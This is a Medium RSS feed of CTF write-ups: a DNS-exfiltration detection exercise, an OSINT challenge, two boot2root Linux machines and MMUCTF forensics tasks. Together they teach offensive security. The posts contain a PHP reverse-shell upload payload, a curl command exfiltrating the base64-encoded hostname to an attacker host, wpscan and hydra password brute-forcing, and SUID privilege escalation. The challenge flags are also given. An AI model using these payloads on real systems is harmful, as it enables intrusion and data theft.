<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sam Gachez on Medium]]></title>
        <description><![CDATA[Stories by Sam Gachez on Medium]]></description>
        <link>https://medium.com/@samgachez?source=rss-44713384b00c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SFm0VPTHgAxttRJnngjOdA.png</url>
            <title>Stories by Sam Gachez on Medium</title>
            <link>https://medium.com/@samgachez?source=rss-44713384b00c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 17:52:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@samgachez/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Silent Beacon]]></title>
            <link>https://medium.com/@samgachez/silent-beacon-b1cebd589cbf?source=rss-44713384b00c------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1cebd589cbf</guid>
            <dc:creator><![CDATA[Sam Gachez]]></dc:creator>
            <pubDate>Tue, 10 Feb 2026 21:14:28 GMT</pubDate>
            <atom:updated>2026-02-10T21:14:28.603Z</atom:updated>
            <content:encoded><![CDATA[<p>PART 1 — DETECTION</p><p>Description</p><p>Incident Summary:<br>A workstation in the finance department triggered anomalous DNS alerts.<br>No malware was detected by endpoint protection. The SOC believes the attacker used built-in tools and low-noise techniques<br>(“living off the land”)</p><p>What technique was used by the attacker to communicate with their infrastructure?</p><p>Things to do</p><p>Inspect sysmon.log and dns_traffic.log Identify:</p><ul><li>Base64 usage</li><li>Repeated DNS queries</li><li>Non-human-readable subdomains</li></ul><h3>Expected Analysis</h3><p>Key observations:</p><ul><li>base64 /etc/hostname</li><li>curl http://dnslog.s3ns31.net/&lt;base64&gt;</li><li>Repeated DNS queries containing encoded data</li></ul><p>Correct conclusion:</p><p><strong><em>DNS-based data exfiltration / DNS tunneling</em></strong></p><p>PART 1 FLAG (Detection)</p><pre>s3ns31{dns_exfiltration}</pre><h3>PART 2 — RESPONSE</h3><p>Description</p><p>You have confirmed malicious DNS activity. Now determine what information was leaked by the attacker.</p><p>What exact data was exfiltrated from the compromised system?</p><p>Solution:</p><ol><li>Extract the suspicious DNS subdomain:</li></ol><ul><li>ZmluYW5jZS13b3Jrc3RhdGlvbi0wMQ==</li><li>Recognize it as <strong>Base64, </strong>Decode it, Identify it as the <strong>hostname and w</strong>rap it in the flag format</li></ul><p>Decoded Value: finance-workstation-01</p><pre>s3ns31{finance-workstation-01}</pre><h3>PART 3 — MITRE ATT&amp;CK MAPPING</h3><p>Description</p><p>You have identified malicious DNS activity and confirmed data exfiltration. Map the attacker’s behavior to the correct MITRE ATT&amp;CK technique.</p><p>Which MITRE ATT&amp;CK technique best describes the attacker’s method of communication?</p><p>flag format: s3ns31{xxxxx.xxx}</p><p>Solution:</p><ul><li>Recognize DNS-based C2 / exfiltration</li><li>Choose the <strong>most accurate ATT&amp;CK technique ID</strong></li><li>Submit it in the required flag format</li><li>The correct Technique: T1071.004 — Application Layer Protocol: DNS</li></ul><p><strong>Why this is correct:</strong></p><ul><li>The attacker used DNS as a <strong>covert communication channel</strong></li><li>Encoded data was embedded in DNS queries</li><li>This matches <strong>C2 over DNS</strong>, not just generic exfiltration</li></ul><pre>s3ns31{T1071.004}</pre><h3>Alternative (Why Others Are Wrong)</h3><p>🧠 Alternative (Why Others Are Wrong)</p><p>TechniqueWhy NotT1048.003Exfiltration over DNS, but this focuses on <strong>data theft</strong>, not C2T1105Ingress Tool Transfer — no tools downloadedT1059Command-line execution — true but not the core behavior</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1cebd589cbf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[explore — osint]]></title>
            <link>https://medium.com/@samgachez/explore-osint-a58a50d1df24?source=rss-44713384b00c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a58a50d1df24</guid>
            <dc:creator><![CDATA[Sam Gachez]]></dc:creator>
            <pubDate>Sun, 08 Feb 2026 05:15:28 GMT</pubDate>
            <atom:updated>2026-02-08T05:15:28.142Z</atom:updated>
            <content:encoded><![CDATA[<h3>explore — osint</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e6BxO5ai_G_5wG3vQBgT3Q.jpeg" /></figure><p>This challenge was once featured on CTFZONE and made me challenge my fellow cybersecurity enthusiasts.</p><p>Given this image, we will do a reverse image lookup on it, using Google Reverse Image Search. From this image we can see that the picture was taken in Singapore.</p><p><a href="https://www.google.com/search?source=lns.web.gisbubb&amp;vsdim=1024,768&amp;gsessionid=nXjzUdtyDHb0YJnQtDhPCW9m3h0ZFPLNF_pZ0bWV1SS3oQfl2UpnFA&amp;lsessionid=RGo_eHk2QEijQUGyzopg9xbVAzgHZ3IQYe9ABKm2bAqWBjrHZJDC5w&amp;lns_surface=26&amp;authuser=0&amp;biw=1366&amp;bih=687&amp;hl=en-KE&amp;vsrid=CNGHiein7PqGigEQDhgBIiRCQkU0QzFFOC01QjRELTQyQzItOTQ4NC02NDJGN0U4ODUxMDgyBiICZGgoDjjwiqPJy8KSAw&amp;udm=26&amp;q&amp;vsint=CAQqCgoCCAcSAggHIAE6IwoWDRakCT8VGZC9Ph0JMx0_JRmQPT8wARCACBiABiUAAIA_&amp;lns_mode=un&amp;qsubts=1770302797305&amp;stq=1&amp;cs=1&amp;lei=Sq2EaeTKBNCxhbIP2ZXB8Qk">link to the search</a></p><p>The tall, dark building in the image is the <strong>Cube 8</strong> condominium in Singapore.</p><ul><li>It is a freehold, 36-storey private residential development.</li><li>The building was completed in 2013 and designed by ADDP Architects.</li><li>It is located near Novena MRT station and offers unobstructed views of the city and MacRitchie Reservoir.</li><li>The development features six sky terraces with various facilities.</li></ul><h3><strong>Challenge Description</strong></h3><p>Using the artifact provided, locate the subject and submit a certain hauliers details as you see them advertised. The flag format: s3ns31{detail1_detail2}</p><p>What is a haulier?</p><p>A person or company engaged in the haulage of goods/a business or a person involved in a business that transports goods by road.</p><p>Now that we know what we are looking for, let’s dive deeper into OSINT.</p><p>We will use Google Maps to locate our haulier. Search for Cube 8, Singapore.</p><p>Using this <a href="https://www.google.com/maps/place/Cube+8/@1.3283058,103.8390381,17z/data=!3m1!4b1!4m6!3m5!1s0x31da175f059a57ff:0xed2eb5cbd3c760ba!8m2!3d1.3283058!4d103.8416184!16s%2Fg%2F1pty1htcc?entry=ttu&amp;g_ep=EgoyMDI2MDEwNy4wIKXMDSoASAFQAw%3D%3D">link</a>, we enter into the street view feature of google maps and search for the haulier.</p><p>We find the haulier outside the Cube 8 building. Thats our first flag.</p><pre>s3ns31{newcharismovers_64833707}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*10NbOxaGnew0OUmex15x5g.png" /></figure><h3><strong>The second part was:</strong></h3><p>who designed the building?</p><p>flag format: s3ns31{detail1_detail2}</p><p>From the reverse image search we clearly saw who designed the building.</p><ul><li>The building was completed in 2013 and designed by ADDP Architects.</li></ul><p>Our flag was:</p><pre>s3ns31{ADDP_Architects}</pre><p>That’s all for this challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a58a50d1df24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Beekeeper’s Secret: linux]]></title>
            <link>https://medium.com/@samgachez/the-beekeepers-secret-linux-0468273c2178?source=rss-44713384b00c------2</link>
            <guid isPermaLink="false">https://medium.com/p/0468273c2178</guid>
            <dc:creator><![CDATA[Sam Gachez]]></dc:creator>
            <pubDate>Sat, 07 Feb 2026 02:19:30 GMT</pubDate>
            <atom:updated>2026-02-07T02:19:30.444Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*PXlIZPW5IvRu2pCcLUXPFQ.jpeg" /></figure><p>We open the connection info and we are presented by a webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L1XyLlvLkt4mqLGukED9cw.png" /><figcaption>the webpage of the connection info</figcaption></figure><p>We can see that the “Internal Note” says the user should have used a stronger password. This entails that we can use a dictionary/bruteforce attack to get the password for the user.</p><p>First, lets enumarate the webpage so that we know more about it. Using wappalyzer we can detect the technologies used for this webpage. i.e wordpress, php etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*Pbhayi_MOvW-JyMm0Apatw.png" /><figcaption>wappalyzer</figcaption></figure><p>Now, we have found out the webpage uses wordpress and php. We can now try the login pages extension of a wordpress blof that uses php. The extension is /wp-login.php. Now, we can see what the login page contains.</p><p>The login page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R9U63UJ8ROXkmf2a40AQfA.png" /></figure><p>We can recall that the “Internal Note” said the user used a weak password. We will exploit this by use of a bruteforce attack onto the login page. When we try the most common logins of a wordpress, like admin:admin or admin:password, we can see that the login page returns that the password for the user admin is incorrect. This suggests that the correct username is “admin”. Now we will have to bruteforce only the password for the username “admin”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*eUT8tmG_aNK651uZBDtYIA.png" /></figure><p>The tool we will use is “wpscan”, which is a wordpress scanner to find vulnerabilities such as outdated versions, vulnerable plugins/themes and weak passwords.</p><p>wpscan — url <a href="http://4.161.43.110:8083/wp-login.php">http://4.161.43.110:8083/wp-login.php</a> -P /usr/share/wordlists/rockyou.txt -U admin</p><p>This is the command that will exploit the weak credentials and give us the password for the admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vRxrco_mj-MUWZFYDcYNgQ.png" /></figure><p>After getting the password, we can login into the admin page. Further enumeration is needed. At the “Post” we can see all posts that they have. One in particular captures your attention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DSJWuMlYurd7wMn7vtlfkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BEq8zAAdi7i5oGmdOTCgkQ.png" /></figure><p>From the above images, we can see the Author as Jeremy Reiner. When we preview the post we can see he left as something, that phrase is a hint itself. What is the 2222 way? One of the ways to connect to a machine is using ssh which runs on port 22. We know thatone can redirect the ssh port to another port. Which in this case the ssh was using the port 2222, hence the hint “what about the 2222 way”.</p><p>Now, we can ssh into the server, but we don’t have Jeremy’s password. Recalling the hint we got that the user has weak passwords. We will use the tool “Hydra” to bruteforce.</p><p>hydra -vV -f -l jeremy -P /usr/share/wordlists/rockyou.txt -t 4 ssh://4.161.43.110:2222</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*moFspHtb8JS-nKcREnROVw.png" /></figure><p>Now we can ssh onto the machine using the username jeremy and password killerbee.</p><p>ssh jeremy@4.161.43.110 -p 2222</p><p>Nice, you’ve have a shell. We use “whoami” and we see we are jeremy. “pwd” to see the current working directory we are in, “ls” to list all files in the current folder. We can see there is a flag.txt file, we list out the contents of the flag.txt and we see “No flag here”.</p><p>“ls -la” to list all files including those which are hidden. “.user.txt” contains the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ecileCBG5_1ZKTusGHucNw.png" /></figure><p>Let’s now escalate our privildge to root. “sudo -l” shows which command the user jeremy is able to run as the superuser “root”</p><p>We can clearly see that he can only run “find”. We will use this to escalate our priviledge. When you go to “GTFObins” and search for “find” it will give you a command to use to escalate our priviledges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0uIOHgvW2D7c-kZKi_GVwA.png" /><figcaption>gtfobins</figcaption></figure><p>After executing the command we get another shell. “whoami” returns root, we’ve successfully escalated our priviledges.</p><p>“pwd” returns /home/jeremy, we go back to the root directory using “cd”. “pwd” we are at /root, “ls” lists root.txt which contains the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPEg2vfYqTmZqauJ5WM-8w.png" /></figure><p>Congrats, you’ve successfully completed the boot2root machine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0468273c2178" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stunna -linux]]></title>
            <link>https://medium.com/@samgachez/stunna-linux-ea5d446109a9?source=rss-44713384b00c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea5d446109a9</guid>
            <dc:creator><![CDATA[Sam Gachez]]></dc:creator>
            <pubDate>Sat, 07 Feb 2026 02:18:54 GMT</pubDate>
            <atom:updated>2026-02-07T02:18:54.436Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Difficulty:</strong> Easy / Medium<br><strong>Flag Format:</strong> s3ns31{flag_here}<br><strong>Objective:</strong> Gain root access to the digital records of Stunna and retrieve two flags.</p><p>Description as seen in the CTF</p><p>stunna made a web app that he thought it was secure<br>prove him wrong by pentesting his sever and find the flag</p><p>connection info: <a href="http://4.161.43.110:8087/">http://4.161.43.110:8087</a></p><p>creator: Gachez</p><h3>1. Enumeration</h3><h3>Web Discovery</h3><p>Navigating to <a href="http://4.161.43.110:8087/">http://4.161.43.110:8087</a> reveals a “Student Registration” portal. The site allows users to upload a profile picture. The instructions state: <strong>“JPG only.”</strong></p><h3>2. Initial Access</h3><h3>Vulnerability: Insecure File Upload</h3><p>The application checks if the uploaded filename contains the string .jpg, but it does not validate the actual file extension at the end of the string or the file’s content.</p><h3>Exploitation</h3><p>We can bypass this by naming our file exploit.jpg.php. The server sees .jpg and allows the upload, but the underlying Apache server executes it as a <strong>PHP</strong> script because it ends in .php.</p><p><strong>Payload (exploit.jpg.php):</strong></p><pre>&lt;?php<br>$ip = &#39;172.17.0.1&#39;; // Docker Gateway IP<br>$port = 4444;<br>$sock = fsockopen($ip, $port);<br>$proc = proc_open(&#39;/bin/bash&#39;, array(0 =&gt; $sock, 1 =&gt; $sock, 2 =&gt; $sock), $pipes);<br>?&gt;</pre><ol><li>Start a listener on the host: nc -lvnp 4444.</li><li>Upload the file via the web portal.</li><li>Trigger the shell by navigating to: <a href="http://4.161.43.110:8087/uploads/exploit.jpg.php">http://4.161.43.110:8087/uploads/exploit.jpg.php</a></li></ol><p><strong>Result:</strong> We receive a reverse shell as the www-data user.</p><h3>3. Lateral Movement</h3><h3>Shell Stabilization</h3><p>To interact with the system effectively, we stabilize our shell</p><pre># stabilization without Python:<br>/usr/bin/script -qc /bin/bash /dev/null</pre><h3>Credential Leaks</h3><p>During enumeration of the web directory /var/www/html/, we find a configuration file:</p><pre>cat /var/www/html/config.php</pre><p><strong>Contents:</strong></p><pre>$db_user = &quot;blackbelt&quot;;<br>$db_pass = &quot;Doj0_M4st3r_P4ss_2025!&quot;;</pre><h3>Switching Users</h3><p>Using these credentials, we can switch to the blackbelt user:</p><pre>su blackbelt<br># Password: Doj0_M4st3r_P4ss_2025!</pre><p><strong>User Flag:</strong></p><pre>cat /home/blackbelt/user.txt<br># s3ns31{w3lc0m3_t0_th3_d0j0}</pre><h3>4. Privilege Escalation</h3><h3>SUID Enumeration</h3><p>We search for binaries with the SUID bit set, allowing them to run with root privileges:</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>The output shows /usr/bin/find has the SUID bit set.</p><h3>Exploiting SUID Find</h3><p>According to <a href="https://www.google.com/url?sa=E&amp;q=https%3A%2F%2Fgtfobins.github.io%2Fgtfobins%2Ffind%2F%23suid">GTFOBins</a>, we can abuse the -exec flag in find to spawn a root shell.</p><pre>find . -exec /bin/sh -p \; -quit</pre><p><em>Note: The -p flag is required on Ubuntu systems to maintain the effective user ID of root.</em></p><p><strong>Root Flag:</strong></p><pre>whoami # root<br>cat /root/root.txt<br># s3ns31{m4st3r_0f_th3_sh3ll}</pre><h3>5. Lessons Learned</h3><ol><li><strong>Insecure File Uploads:</strong> Never rely on simple string matching (strpos) to validate file types. Use MIME-type validation and strictly enforce extensions.</li><li><strong>Credential Management:</strong> Never store plain-text passwords in configuration files accessible within the web root.</li><li><strong>SUID Misconfiguration:</strong> Binaries like find, cp, or vim should never have the SUID bit set, as they allow for trivial command execution as root.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea5d446109a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MMUCTF 2025 write-up]]></title>
            <link>https://medium.com/@samgachez/mmuctf-2025-write-up-df8cb0d273c9?source=rss-44713384b00c------2</link>
            <guid isPermaLink="false">https://medium.com/p/df8cb0d273c9</guid>
            <dc:creator><![CDATA[Sam Gachez]]></dc:creator>
            <pubDate>Mon, 04 Aug 2025 13:06:26 GMT</pubDate>
            <atom:updated>2025-08-04T13:06:26.922Z</atom:updated>
            <content:encoded><![CDATA[<p>I had the chance to take part in the MMUCTF 2025 over the weekend. It was a CTF in the individual jeopardy format designed for novices and intermediates in the field of cybersecurity. This article explores some of the challenges.</p><h3>Forensics:</h3><h3>Just BC:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*I6Qbi53mP4XxGZZeCtbgBQ.png" /></figure><p>So in that challenge, first i checked the file type and then converted LLVM Bitcode to Human-Readable IR</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*372cDHhnnLiB1dIU3yvINw.png" /></figure><h4>Checking for passwords in the just-bc.ll</h4><h4>grep -A 10 -B 10 “Password: “ just-bc.ll</h4><p>It <strong>searches for the string &quot;Password:&quot; </strong>in the file “just-bc.ll” and prints the line(s) that match, <strong>10 lines before</strong> each match, and <strong>10 lines after</strong> each match.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NT7wjPJVpSzdbucAZerMvg.png" /></figure><p>We can see “Password:”, and also “/flag.txt wasn’t found.” I looked for something that could resemble a password from the file. We can see a string = “lmaoniceonebuddypalfriendolino”</p><p>This could be the password; use it to log in, and you’ll get your flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*qVtRuTt_OEJsCO3TH09-tw.png" /></figure><h3>Find The City:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*rA8iRTEGNH5ze07O_S2I8A.png" /></figure><p>Did some basic recon on the file and used “strings” to check for any embedded messages in the file and found the key. Also, we can see the file aes-256-cbc encrypted. Will need to decrypt it later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4w2JS__oT4OStQQQUFPsYg.png" /></figure><p>key = n0t_3asy_to_f1nd!</p><p>Use binwalk to extract files<br># binwalk -e — run-as=root = usb.img<br># cd _usb.img.extracted</p><p># cd ext-root</p><p># ls to show contents of the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2O6Z1VQFHVMuNgrA9VTnOg.png" /></figure><p>We can see a “secret_pass” file, when trying to see the contents of the file, we see it’s encrypted.</p><p>I used this command to decrypt the file and output it to a decrypted.txt file.</p><p>openssl enc -d -aes-256-cbc -pbkdf2 -iter 10000 -md sha256 -in secret_pass -out decrypted.txt -pass pass:n0t_3asy_to_f1nd!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AvRaiNEvYu8Qr-2LCEoZjg.png" /></figure><p>Search the latitude and longitude in Google Maps, and you’ll get the city.</p><p>mmuctf{Korolyov}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QdRCdTYN2RNBBfild_o8vQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df8cb0d273c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>